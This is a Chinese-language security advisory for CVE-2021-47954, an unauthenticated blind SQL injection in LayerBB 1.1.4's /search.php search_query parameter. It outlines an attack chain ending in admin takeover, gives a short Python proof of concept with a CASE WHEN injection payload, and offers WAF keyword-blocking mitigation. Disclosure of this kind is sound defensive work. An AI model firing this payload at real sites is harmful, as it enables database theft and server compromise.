IPBUF安全漏洞报告
English
CVE-2021-47954 CVSS 8.2 高危

CVE-2021-47954 LayerBB SQL注入漏洞

披露日期: 2026-05-16

漏洞信息

漏洞编号
CVE-2021-47954
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
LayerBB

相关标签

SQL注入LayerBBWeb安全无需认证盲注

漏洞概述

LayerBB 1.1.4版本被发现存在严重的SQL注入安全漏洞。该漏洞源于应用程序在处理用户搜索请求时,未能对输入参数进行严格的过滤和验证。未经身份认证的远程攻击者可以通过向/search.php端点发送精心构造的POST请求,在search_query参数中注入恶意SQL代码。利用此漏洞,攻击者能够操纵后端数据库查询,通过布尔盲注技术(如CASE WHEN语句)窃取数据库中的敏感信息,对系统安全构成严重威胁。

技术细节

该漏洞的核心在于LayerBB 1.1.4版本在实现搜索功能时,对用户提交的`search_query`参数缺乏有效的安全过滤,导致其可直接拼接到后端SQL查询语句中。这是一个典型的SQL盲注漏洞。攻击者无需进行任何身份认证即可发起攻击。利用过程中,攻击者向`/search.php`发送POST请求,并在参数中嵌入恶意SQL片段。由于应用未对错误信息进行详细回显,攻击者通常采用基于布尔或时间的盲注技术。通过构造`CASE WHEN (子查询) THEN true_value ELSE false_value END`这样的逻辑判断语句,攻击者可以根据HTTP响应的差异(如页面内容是否包含特定文本,或响应时间是否增加)来逐字节推断数据库中的敏感数据,包括管理员凭据、用户数据表结构等。这种攻击方式隐蔽性高,且无需复杂的交互即可导致数据泄露。

攻击链分析

STEP 1
侦察
攻击者识别出运行LayerBB 1.1.4的目标网站,并定位到/search.php接口。
STEP 2
漏洞探测
攻击者向/search.php发送包含SQL注入测试语句的POST请求,验证search_query参数是否存在过滤缺失。
STEP 3
数据窃取
利用CASE WHEN盲注技术,通过构造布尔条件语句,逐位提取数据库中的敏感信息(如管理员密码哈希)。
STEP 4
权限提升
利用获取的管理员凭据登录后台,进一步控制服务器或植入后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(url): target = url + "/search.php" # Payload demonstrating Boolean-based SQL Injection using CASE WHEN # Checks if the first character of the database version is '5' payload = { "search_query": "test' OR CASE WHEN (SELECT SUBSTRING(VERSION(),1,1))='5' THEN 1 ELSE (SELECT 1 UNION SELECT 2) END-- -" } try: response = requests.post(target, data=payload) # Analyze response logic depends on application behavior if response.status_code == 200 and "expected_content" in response.text: print("[+] Vulnerability confirmed: Database version starts with 5") else: print("[-] Vulnerability not confirmed or payload failed") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": check_sqli("http://target-layerbb-site.com")

影响范围

LayerBB 1.1.4

防御指南

临时缓解措施
如果无法立即升级,建议在Web应用防火墙(WAF)中添加规则,拦截针对/search.php的包含SQL关键词(如CASE WHEN, UNION SELECT, SUBSTRING)的恶意POST请求。同时,限制数据库账户的访问权限,确保Web应用仅使用必要的最小权限连接数据库。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表